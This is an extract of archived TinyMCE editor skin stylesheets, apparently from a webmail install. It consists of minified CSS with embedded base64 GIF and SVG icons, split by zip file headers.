div:not([data-mce-bogus]){background-image:url(data:image/gif;base64,R0lGODlhEgAKAIABALu7u////yH5BAEAAAEALAAAAAASAAoAAAIfjI9poI0cgDywrhuxfbrzDEbQM2Ei5aRjmoySW4pAAQA7)}.mce-visualblocks section{background-image:url(data:image/gif;base64,R0lGODlhKAAKAIABALu7u////yH5BAEAAAEALAAAAAAoAAoAAAI5jI+pywcNY3sBWHdNrplytD2ellDeSVbp+GmWqaDqDMepc8t17Y4vBsK5hDyJMcI6KkuYU+jpjLoKADs=)}.mce-visualblocks article{background-image:url(data:image/gif;base64,R0lGODlhKgAKAIABALu7u////yH5BAEAAAEALAAAAAAqAAoAAAI6jI+pywkNY3wG0GBvrsd2tXGYSGnfiF7ikpXemTpOiJScasYoDJJrjsG9gkCJ0ag6KhmaIe3pjDYBBQA7)}.mce-visualblocks blockquote{background-image:url(data:image/gif;base64,R0lGODlhPgAKAIABALu7u////yH5BAEAAAEALAAAAAA+AAoAAAJPjI+py+0Knpz0xQDyuUhvfoGgIX5iSKZYgq5uNL5q69asZ8s5rrf0yZmpNkJZzFesBTu8TOlDVAabUyatguVhWduud3EyiUk45xhTTgMBBQA7)}.mce-visualblocks address{background-image:url(data:image/gif;base64,R0lGODlhLQAKAIABALu7u////yH5BAEAAAEALAAAAAAtAAoAAAI/jI+pywwNozSP1gDyyZcjb3UaRpXkWaXmZW4OqKLhBmLs+K263DkJK7OJeifh7FicKD9A1/IpGdKkyFpNmCkAADs=)}.mce-visualblocks pre{background-image:url(data:image/gif;base64,R0lGODlhFQAKAIABALu7uwAAACH5BAEAAAEALAAAAAAVAAoAAAIjjI+ZoN0cgDwSmnpz1NCueYERhnibZVKLNnbOq8IvKpJtVQAAOw==)}.mce-visualblocks figure{background-image:url(data:image/gif;base64,R0lGODlhJAAKAIAAALu7u////yH5BAEAAAEALAAAAAAkAAoAAAI0jI+py+2fwAHUSFvD3RlvG4HIp4nX5JFSpnZUJ6LlrM52OE7uSWosBHScgkSZj7dDKnWAAgA7)}.mce-visualblocks figcaption{border:1px dashed #bbb}.mce-visualblocks hgroup{background-image:url(data:image/gif;base64,R0lGODlhJwAKAIABALu7uwAAACH5BAEAAAEALAAAAAAnAAoAAAI3jI+pywYNI3uB0gpsRtt5fFnfNZaVSYJil4Wo03Hv6Z62uOCgiXH1kZIIJ8NiIxRrAZNMZAtQAAA7)}.mce-visualblocks aside{background-image:url(data:image/gif;base64,R0lGODlhHgAKAIABAKqqqv///yH5BAEAAAEALAAAAAAeAAoAAAItjI+pG8APjZOTzgtqy7I3f1yehmQcFY4WKZbqByutmW4aHUd6vfcVbgudgpYCADs=)}.mce-visualblocks ul{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIAAALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGuYnqUVSjvw26DzzXiqIDlVwAAOw==)}.mce-visualblocks ol{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybH6HHt0qourxC6CvzXieHyeWQAAOw==)}.mce-visualblocks dl{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybEOnmOvUoWznTqeuEjNSCqeGRUAOw==)}.mce-visualblocks:not([dir=rtl]) address,.mce-visualblocks:not([dir=rtl]) article,.mce-visualblocks:not([dir=rtl]) aside,.mce-visualblocks:not([dir=rtl]) blockquote,.mce-visualblocks:not([dir=rtl]) div:not([data-mce-bogus]),.mce-visualblocks:not([dir=rtl]) dl,.mce-visualblocks:not([dir=rtl]) figcaption,.mce-visualblocks:not([dir=rtl]) figure,.mce-visualblocks:not([dir=rtl]) h1,.mce-visualblocks:not([dir=rtl]) h2,.mce-visualblocks:not([dir=rtl]) h3,.mce-visualblocks:not([dir=rtl]) h4,.mce-visualblocks:not([dir=rtl]) h5,.mce-visualblocks:not([dir=rtl]) h6,.mce-visualblocks:not([dir=rtl]) hgroup,.mce-visualblocks:not([dir=rtl]) ol,.mce-visualblocks:not([dir=rtl]) p,.mce-visualblocks:not([dir=rtl]) pre,.mce-visualblocks:not([dir=rtl]) section,.mce-visualblocks:not([dir=rtl]) ul{margin-left:3px}.mce-visualblocks[dir=rtl] address,.mce-visualblocks[dir=rtl] article,.mce-visualblocks[dir=rtl] aside,.mce-visualblocks[dir=rtl] blockquote,.mce-visualblocks[dir=rtl] div:not([data-mce-bogus]),.mce-visualblocks[dir=rtl] dl,.mce-visualblocks[dir=rtl] figcaption,.mce-visualblocks[dir=rtl] figure,.mce-visualblocks[dir=rtl] h1,.mce-visualblocks[dir=rtl] h2,.mce-visualblocks[dir=rtl] h3,.mce-visualblocks[dir=rtl] h4,.mce-visualblocks[dir=rtl] h5,.mce-visualblocks[dir=rtl] h6,.mce-visualblocks[dir=rtl] hgroup,.mce-visualblocks[dir=rtl] ol,.mce-visualblocks[dir=rtl] p,.mce-visualblocks[dir=rtl] pre,.mce-visualblocks[dir=rtl] section,.mce-visualblocks[dir=rtl] ul{background-position-x:right;margin-right:3px}.mce-nbsp,.mce-shy{background:#aaa}.mce-shy::after{content:'-'}body{font-family:sans-serif}table{border-collapse:collapse}
PK
h�\;E�=program/js/tinymce/skins/ui/oxide-dark/skin.shadowdom.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
body.tox-dialog__disable-scroll{overflow:hidden}.tox-fullscreen{border:0;height:100%;margin:0;overflow:hidden;-ms-scroll-chaining:none;overscroll-behavior:none;padding:0;touch-action:pinch-zoom;width:100%}.tox.tox-tinymce.tox-fullscreen .tox-statusbar__resize-handle{display:none}.tox-shadowhost.tox-fullscreen,.tox.tox-tinymce.tox-fullscreen{left:0;position:fixed;top:0;z-index:1200}.tox.tox-tinymce.tox-fullscreen{background-color:transparent}.tox-fullscreen .tox.tox-tinymce-aux,.tox-fullscreen~.tox.tox-tinymce-aux{z-index:1201}
PK
h�\2�.EUU=program/js/tinymce/skins/ui/oxide-dark/content.inline.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.mce-content-body .mce-item-anchor{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'8'%20height%3D'12'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200L8%200%208%2012%204.09117821%209%200%2012z'%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;cursor:default;display:inline-block;height:12px!important;padding:0 2px;-webkit-user-modify:read-only;-moz-user-modify:read-only;-webkit-user-select:all;-moz-user-select:all;-ms-user-select:all;user-select:all;width:8px!important}.mce-content-body .mce-item-anchor[data-mce-selected]{outline-offset:1px}.tox-comments-visible .tox-comment{background-color:#fff0b7}.tox-comments-visible .tox-comment--active{background-color:#ffe168}.tox-checklist>li:not(.tox-checklist--hidden){list-style:none;margin:.25em 0}.tox-checklist>li:not(.tox-checklist--hidden)::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-unchecked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2215%22%20height%3D%2215%22%20x%3D%22.5%22%20y%3D%22.5%22%20fill-rule%3D%22nonzero%22%20stroke%3D%22%234C4C4C%22%20rx%3D%222%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A");cursor:pointer;height:1em;margin-left:-1.5em;margin-top:.125em;position:absolute;width:1em}.tox-checklist li:not(.tox-checklist--hidden).tox-checklist--checked::before{content:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2216%22%20height%3D%2216%22%20viewBox%3D%220%200%2016%2016%22%3E%3Cg%20id%3D%22checklist-checked%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Crect%20id%3D%22Rectangle%22%20width%3D%2216%22%20height%3D%2216%22%20fill%3D%22%234099FF%22%20fill-rule%3D%22nonzero%22%20rx%3D%222%22%2F%3E%3Cpath%20id%3D%22Path%22%20fill%3D%22%23FFF%22%20fill-rule%3D%22nonzero%22%20d%3D%22M11.5703186%2C3.14417309%20C11.8516238%2C2.73724603%2012.4164781%2C2.62829933%2012.83558%2C2.89774797%20C13.260121%2C3.17069355%2013.3759736%2C3.72932262%2013.0909105%2C4.14168582%20L7.7580587%2C11.8560195%20C7.43776896%2C12.3193404%206.76483983%2C12.3852142%206.35607322%2C11.9948725%20L3.02491697%2C8.8138662%20C2.66090143%2C8.46625845%202.65798871%2C7.89594698%203.01850234%2C7.54483354%20C3.373942%2C7.19866177%203.94940006%2C7.19592841%204.30829608%2C7.5386474%20L6.85276923%2C9.9684299%20L11.5703186%2C3.14417309%20Z%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E%0A")}[dir=rtl] .tox-checklist>li:not(.tox-checklist--hidden)::before{margin-left:0;margin-right:-1.5em}code[class*=language-],pre[class*=language-]{color:#000;background:0 0;text-shadow:0 1px #fff;font-family:Consolas,Monaco,'Andale Mono','Ubuntu Mono',monospace;font-size:1em;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;word-wrap:normal;line-height:1.5;-moz-tab-size:4;tab-size:4;-webkit-hyphens:none;-ms-hyphens:none;hyphens:none}code[class*=language-] ::-moz-selection,code[class*=language-]::-moz-selection,pre[class*=language-] ::-moz-selection,pre[class*=language-]::-moz-selection{text-shadow:none;background:#b3d4fc}code[class*=language-] ::selection,code[class*=language-]::selection,pre[class*=language-] ::selection,pre[class*=language-]::selection{text-shadow:none;background:#b3d4fc}@media print{code[class*=language-],pre[class*=language-]{text-shadow:none}}pre[class*=language-]{padding:1em;margin:.5em 0;overflow:auto}:not(pre)>code[class*=language-],pre[class*=language-]{background:#f5f2f0}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em;white-space:normal}.token.cdata,.token.comment,.token.doctype,.token.prolog{color:#708090}.token.punctuation{color:#999}.namespace{opacity:.7}.token.boolean,.token.constant,.token.deleted,.token.number,.token.property,.token.symbol,.token.tag{color:#905}.token.attr-name,.token.builtin,.token.char,.token.inserted,.token.selector,.token.string{color:#690}.language-css .token.string,.style .token.string,.token.entity,.token.operator,.token.url{color:#9a6e3a;background:hsla(0,0%,100%,.5)}.token.atrule,.token.attr-value,.token.keyword{color:#07a}.token.class-name,.token.function{color:#dd4a68}.token.important,.token.regex,.token.variable{color:#e90}.token.bold,.token.important{font-weight:700}.token.italic{font-style:italic}.token.entity{cursor:help}.mce-content-body{overflow-wrap:break-word;word-wrap:break-word}.mce-content-body .mce-visual-caret{background-color:#000;background-color:currentColor;position:absolute}.mce-content-body .mce-visual-caret-hidden{display:none}.mce-content-body [data-mce-caret]{left:-1000px;margin:0;padding:0;position:absolute;right:auto;top:0}.mce-content-body .mce-offscreen-selection{left:-2000000px;max-width:1000000px;position:absolute}.mce-content-body [contentEditable=false]{cursor:default}.mce-content-body [contentEditable=true]{cursor:text}.tox-cursor-format-painter{cursor:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%3E%0A%20%20%3Cg%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M15%2C6%20C15%2C5.45%2014.55%2C5%2014%2C5%20L6%2C5%20C5.45%2C5%205%2C5.45%205%2C6%20L5%2C10%20C5%2C10.55%205.45%2C11%206%2C11%20L14%2C11%20C14.55%2C11%2015%2C10.55%2015%2C10%20L15%2C9%20L16%2C9%20L16%2C12%20L9%2C12%20L9%2C19%20C9%2C19.55%209.45%2C20%2010%2C20%20L11%2C20%20C11.55%2C20%2012%2C19.55%2012%2C19%20L12%2C14%20L18%2C14%20L18%2C7%20L15%2C7%20L15%2C6%20Z%22%2F%3E%0A%20%20%20%20%3Cpath%20fill%3D%22%23000%22%20fill-rule%3D%22nonzero%22%20d%3D%22M1%2C1%20L8.25%2C1%20C8.66421356%2C1%209%2C1.33578644%209%2C1.75%20L9%2C1.75%20C9%2C2.16421356%208.66421356%2C2.5%208.25%2C2.5%20L2.5%2C2.5%20L2.5%2C8.25%20C2.5%2C8.66421356%202.16421356%2C9%201.75%2C9%20L1.75%2C9%20C1.33578644%2C9%201%2C8.66421356%201%2C8.25%20L1%2C1%20Z%22%2F%3E%0A%20%20%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A"),default}.mce-content-body figure.align-left{float:left}.mce-content-body figure.align-right{float:right}.mce-content-body figure.image.align-center{display:table;margin-left:auto;margin-right:auto}.mce-preview-object{border:1px solid gray;display:inline-block;line-height:0;margin:0 2px 0 2px;position:relative}.mce-preview-object .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.mce-preview-object[data-mce-selected="2"] .mce-shim{display:none}.mce-object{background:transparent url("data:image/svg+xml;charset=UTF-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%2224%22%20height%3D%2224%22%3E%3Cpath%20d%3D%22M4%203h16a1%201%200%200%201%201%201v16a1%201%200%200%201-1%201H4a1%201%200%200%201-1-1V4a1%201%200%200%201%201-1zm1%202v14h14V5H5zm4.79%202.565l5.64%204.028a.5.5%200%200%201%200%20.814l-5.64%204.028a.5.5%200%200%201-.79-.407V7.972a.5.5%200%200%201%20.79-.407z%22%2F%3E%3C%2Fsvg%3E%0A") no-repeat center;border:1px dashed #aaa}.mce-pagebreak{border:1px dashed #aaa;cursor:default;display:block;height:5px;margin-top:15px;page-break-before:always;width:100%}@media print{.mce-pagebreak{border:0}}.tiny-pageembed .mce-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7);height:100%;left:0;position:absolute;top:0;width:100%}.tiny-pageembed[data-mce-selected="2"] .mce-shim{display:none}.tiny-pageembed{display:inline-block;position:relative}.tiny-pageembed--16by9,.tiny-pageembed--1by1,.tiny-pageembed--21by9,.tiny-pageembed--4by3{display:block;overflow:hidden;padding:0;position:relative;width:100%}.tiny-pageembed--21by9{padding-top:42.857143%}.tiny-pageembed--16by9{padding-top:56.25%}.tiny-pageembed--4by3{padding-top:75%}.tiny-pageembed--1by1{padding-top:100%}.tiny-pageembed--16by9 iframe,.tiny-pageembed--1by1 iframe,.tiny-pageembed--21by9 iframe,.tiny-pageembed--4by3 iframe{border:0;height:100%;left:0;position:absolute;top:0;width:100%}.mce-content-body[data-mce-placeholder]{position:relative}.mce-content-body[data-mce-placeholder]:not(.mce-visualblocks)::before{color:rgba(34,47,62,.7);content:attr(data-mce-placeholder);position:absolute}.mce-content-body:not([dir=rtl])[data-mce-placeholder]:not(.mce-visualblocks)::before{left:1px}.mce-content-body[dir=rtl][data-mce-placeholder]:not(.mce-visualblocks)::before{right:1px}.mce-content-body div.mce-resizehandle{background-color:#4099ff;border-color:#4099ff;border-style:solid;border-width:1px;box-sizing:border-box;height:10px;position:absolute;width:10px;z-index:1298}.mce-content-body div.mce-resizehandle:hover{background-color:#4099ff}.mce-content-body div.mce-resizehandle:nth-of-type(1){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(2){cursor:nesw-resize}.mce-content-body div.mce-resizehandle:nth-of-type(3){cursor:nwse-resize}.mce-content-body div.mce-resizehandle:nth-of-type(4){cursor:nesw-resize}.mce-content-body .mce-resize-backdrop{z-index:10000}.mce-content-body .mce-clonedresizable{cursor:default;opacity:.5;outline:1px dashed #000;position:absolute;z-index:10001}.mce-content-body .mce-clonedresizable.mce-resizetable-columns td,.mce-content-body .mce-clonedresizable.mce-resizetable-columns th{border:0}.mce-content-body .mce-resize-helper{background:#555;background:rgba(0,0,0,.75);border:1px;border-radius:3px;color:#fff;display:none;font-family:sans-serif;font-size:12px;line-height:14px;margin:5px 10px;padding:5px;position:absolute;white-space:nowrap;z-index:10002}.tox-rtc-user-selection{position:relative}.tox-rtc-user-cursor{bottom:0;cursor:default;position:absolute;top:0;width:2px}.tox-rtc-user-cursor::before{background-color:inherit;border-radius:50%;content:'';display:block;height:8px;position:absolute;right:-3px;top:-3px;width:8px}.tox-rtc-user-cursor:hover::after{background-color:inherit;border-radius:100px;box-sizing:border-box;color:#fff;content:attr(data-user);display:block;font-size:12px;font-weight:700;left:-5px;min-height:8px;min-width:8px;padding:0 12px;position:absolute;top:-11px;white-space:nowrap;z-index:1000}.tox-rtc-user-selection--1 .tox-rtc-user-cursor{background-color:#2dc26b}.tox-rtc-user-selection--2 .tox-rtc-user-cursor{background-color:#e03e2d}.tox-rtc-user-selection--3 .tox-rtc-user-cursor{background-color:#f1c40f}.tox-rtc-user-selection--4 .tox-rtc-user-cursor{background-color:#3598db}.tox-rtc-user-selection--5 .tox-rtc-user-cursor{background-color:#b96ad9}.tox-rtc-user-selection--6 .tox-rtc-user-cursor{background-color:#e67e23}.tox-rtc-user-selection--7 .tox-rtc-user-cursor{background-color:#aaa69d}.tox-rtc-user-selection--8 .tox-rtc-user-cursor{background-color:#f368e0}.tox-rtc-remote-image{background:#eaeaea url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D%2236%22%20height%3D%2212%22%20viewBox%3D%220%200%2036%2012%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Ccircle%20cx%3D%226%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2218%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.33s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%20%20%3Ccircle%20cx%3D%2230%22%20cy%3D%226%22%20r%3D%223%22%20fill%3D%22rgba(0%2C%200%2C%200%2C%20.2)%22%3E%0A%20%20%20%20%3Canimate%20attributeName%3D%22r%22%20values%3D%223%3B5%3B3%22%20calcMode%3D%22linear%22%20begin%3D%22.66s%22%20dur%3D%221s%22%20repeatCount%3D%22indefinite%22%20%2F%3E%0A%20%20%3C%2Fcircle%3E%0A%3C%2Fsvg%3E%0A") no-repeat center center;border:1px solid #ccc;min-height:240px;min-width:320px}.mce-match-marker{background:#aaa;color:#fff}.mce-match-marker-selected{background:#39f;color:#fff}.mce-match-marker-selected::-moz-selection{background:#39f;color:#fff}.mce-match-marker-selected::selection{background:#39f;color:#fff}.mce-content-body audio[data-mce-selected],.mce-content-body embed[data-mce-selected],.mce-content-body img[data-mce-selected],.mce-content-body object[data-mce-selected],.mce-content-body table[data-mce-selected],.mce-content-body video[data-mce-selected]{outline:3px solid #b4d7ff}.mce-content-body hr[data-mce-selected]{outline:3px solid #b4d7ff;outline-offset:1px}.mce-content-body [contentEditable=false] [contentEditable=true]:focus{outline:3px solid #b4d7ff}.mce-content-body [contentEditable=false] [contentEditable=true]:hover{outline:3px solid #b4d7ff}.mce-content-body [contentEditable=false][data-mce-selected]{cursor:not-allowed;outline:3px solid #b4d7ff}.mce-content-body.mce-content-readonly [contentEditable=true]:focus,.mce-content-body.mce-content-readonly [contentEditable=true]:hover{outline:0}.mce-content-body [data-mce-selected=inline-boundary]{background-color:#b4d7ff}.mce-content-body .mce-edit-focus{outline:3px solid #b4d7ff}.mce-content-body td[data-mce-selected],.mce-content-body th[data-mce-selected]{position:relative}.mce-content-body td[data-mce-selected]::-moz-selection,.mce-content-body th[data-mce-selected]::-moz-selection{background:0 0}.mce-content-body td[data-mce-selected]::selection,.mce-content-body th[data-mce-selected]::selection{background:0 0}.mce-content-body td[data-mce-selected] *,.mce-content-body th[data-mce-selected] *{outline:0;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{background-color:rgba(180,215,255,.7);border:1px solid rgba(180,215,255,.7);bottom:-1px;content:'';left:-1px;mix-blend-mode:multiply;position:absolute;right:-1px;top:-1px}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.mce-content-body td[data-mce-selected]::after,.mce-content-body th[data-mce-selected]::after{border-color:rgba(0,84,180,.7)}}.mce-content-body img::-moz-selection{background:0 0}.mce-content-body img::selection{background:0 0}.ephox-snooker-resizer-bar{background-color:#b4d7ff;opacity:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ephox-snooker-resizer-cols{cursor:col-resize}.ephox-snooker-resizer-rows{cursor:row-resize}.ephox-snooker-resizer-bar.ephox-snooker-resizer-bar-dragging{opacity:1}.mce-spellchecker-word{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%23ff0000'%20fill%3D'none'%20stroke-linecap%3D'round'%20stroke-opacity%3D'.75'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default;height:2rem}.mce-spellchecker-grammar{background-image:url("data:image/svg+xml;charset=UTF-8,%3Csvg%20width%3D'4'%20height%3D'4'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20stroke%3D'%2300A835'%20fill%3D'none'%20stroke-linecap%3D'round'%20d%3D'M0%203L2%201%204%203'%2F%3E%3C%2Fsvg%3E%0A");background-position:0 calc(100% + 1px);background-repeat:repeat-x;background-size:auto 6px;cursor:default}.mce-toc{border:1px solid gray}.mce-toc h2{margin:4px}.mce-toc li{list-style-type:none}.mce-item-table:not([border]),.mce-item-table:not([border]) caption,.mce-item-table:not([border]) td,.mce-item-table:not([border]) th,.mce-item-table[border="0"],.mce-item-table[border="0"] caption,.mce-item-table[border="0"] td,.mce-item-table[border="0"] th,table[style*="border-width: 0px"],table[style*="border-width: 0px"] caption,table[style*="border-width: 0px"] td,table[style*="border-width: 0px"] th{border:1px dashed #bbb}.mce-visualblocks address,.mce-visualblocks article,.mce-visualblocks aside,.mce-visualblocks blockquote,.mce-visualblocks div:not([data-mce-bogus]),.mce-visualblocks dl,.mce-visualblocks figcaption,.mce-visualblocks figure,.mce-visualblocks h1,.mce-visualblocks h2,.mce-visualblocks h3,.mce-visualblocks h4,.mce-visualblocks h5,.mce-visualblocks h6,.mce-visualblocks hgroup,.mce-visualblocks ol,.mce-visualblocks p,.mce-visualblocks pre,.mce-visualblocks section,.mce-visualblocks ul{background-repeat:no-repeat;border:1px dashed #bbb;margin-left:3px;padding-top:10px}.mce-visualblocks p{background-image:url(data:image/gif;base64,R0lGODlhCQAJAJEAAAAAAP///7u7u////yH5BAEAAAMALAAAAAAJAAkAAAIQnG+CqCN/mlyvsRUpThG6AgA7)}.mce-visualblocks h1{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGu1JuxHoAfRNRW3TWXyF2YiRUAOw==)}.mce-visualblocks h2{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8Hybbx4oOuqgTynJd6bGlWg3DkJzoaUAAAOw==)}.mce-visualblocks h3{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIZjI8Hybbx4oOuqgTynJf2Ln2NOHpQpmhAAQA7)}.mce-visualblocks h4{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxInR0zqeAdhtJlXwV1oCll2HaWgAAOw==)}.mce-visualblocks h5{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjane4iq5GlW05GgIkIZUAAAOw==)}.mce-visualblocks h6{background-image:url(data:image/gif;base64,R0lGODlhDgAKAIABALu7u////yH5BAEAAAEALAAAAAAOAAoAAAIajI8HybbxIoiuwjan04jep1iZ1XRlAo5bVgAAOw==)}.mce-visualblocks div:not([data-mce-bogus]){background-image:url(data:image/gif;base64,R0lGODlhEgAKAIABALu7u////yH5BAEAAAEALAAAAAASAAoAAAIfjI9poI0cgDywrhuxfbrzDEbQM2Ei5aRjmoySW4pAAQA7)}.mce-visualblocks section{background-image:url(data:image/gif;base64,R0lGODlhKAAKAIABALu7u////yH5BAEAAAEALAAAAAAoAAoAAAI5jI+pywcNY3sBWHdNrplytD2ellDeSVbp+GmWqaDqDMepc8t17Y4vBsK5hDyJMcI6KkuYU+jpjLoKADs=)}.mce-visualblocks article{background-image:url(data:image/gif;base64,R0lGODlhKgAKAIABALu7u////yH5BAEAAAEALAAAAAAqAAoAAAI6jI+pywkNY3wG0GBvrsd2tXGYSGnfiF7ikpXemTpOiJScasYoDJJrjsG9gkCJ0ag6KhmaIe3pjDYBBQA7)}.mce-visualblocks blockquote{background-image:url(data:image/gif;base64,R0lGODlhPgAKAIABALu7u////yH5BAEAAAEALAAAAAA+AAoAAAJPjI+py+0Knpz0xQDyuUhvfoGgIX5iSKZYgq5uNL5q69asZ8s5rrf0yZmpNkJZzFesBTu8TOlDVAabUyatguVhWduud3EyiUk45xhTTgMBBQA7)}.mce-visualblocks address{background-image:url(data:image/gif;base64,R0lGODlhLQAKAIABALu7u////yH5BAEAAAEALAAAAAAtAAoAAAI/jI+pywwNozSP1gDyyZcjb3UaRpXkWaXmZW4OqKLhBmLs+K263DkJK7OJeifh7FicKD9A1/IpGdKkyFpNmCkAADs=)}.mce-visualblocks pre{background-image:url(data:image/gif;base64,R0lGODlhFQAKAIABALu7uwAAACH5BAEAAAEALAAAAAAVAAoAAAIjjI+ZoN0cgDwSmnpz1NCueYERhnibZVKLNnbOq8IvKpJtVQAAOw==)}.mce-visualblocks figure{background-image:url(data:image/gif;base64,R0lGODlhJAAKAIAAALu7u////yH5BAEAAAEALAAAAAAkAAoAAAI0jI+py+2fwAHUSFvD3RlvG4HIp4nX5JFSpnZUJ6LlrM52OE7uSWosBHScgkSZj7dDKnWAAgA7)}.mce-visualblocks figcaption{border:1px dashed #bbb}.mce-visualblocks hgroup{background-image:url(data:image/gif;base64,R0lGODlhJwAKAIABALu7uwAAACH5BAEAAAEALAAAAAAnAAoAAAI3jI+pywYNI3uB0gpsRtt5fFnfNZaVSYJil4Wo03Hv6Z62uOCgiXH1kZIIJ8NiIxRrAZNMZAtQAAA7)}.mce-visualblocks aside{background-image:url(data:image/gif;base64,R0lGODlhHgAKAIABAKqqqv///yH5BAEAAAEALAAAAAAeAAoAAAItjI+pG8APjZOTzgtqy7I3f1yehmQcFY4WKZbqByutmW4aHUd6vfcVbgudgpYCADs=)}.mce-visualblocks ul{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIAAALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybGuYnqUVSjvw26DzzXiqIDlVwAAOw==)}.mce-visualblocks ol{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybH6HHt0qourxC6CvzXieHyeWQAAOw==)}.mce-visualblocks dl{background-image:url(data:image/gif;base64,R0lGODlhDQAKAIABALu7u////yH5BAEAAAEALAAAAAANAAoAAAIXjI8GybEOnmOvUoWznTqeuEjNSCqeGRUAOw==)}.mce-visualblocks:not([dir=rtl]) address,.mce-visualblocks:not([dir=rtl]) article,.mce-visualblocks:not([dir=rtl]) aside,.mce-visualblocks:not([dir=rtl]) blockquote,.mce-visualblocks:not([dir=rtl]) div:not([data-mce-bogus]),.mce-visualblocks:not([dir=rtl]) dl,.mce-visualblocks:not([dir=rtl]) figcaption,.mce-visualblocks:not([dir=rtl]) figure,.mce-visualblocks:not([dir=rtl]) h1,.mce-visualblocks:not([dir=rtl]) h2,.mce-visualblocks:not([dir=rtl]) h3,.mce-visualblocks:not([dir=rtl]) h4,.mce-visualblocks:not([dir=rtl]) h5,.mce-visualblocks:not([dir=rtl]) h6,.mce-visualblocks:not([dir=rtl]) hgroup,.mce-visualblocks:not([dir=rtl]) ol,.mce-visualblocks:not([dir=rtl]) p,.mce-visualblocks:not([dir=rtl]) pre,.mce-visualblocks:not([dir=rtl]) section,.mce-visualblocks:not([dir=rtl]) 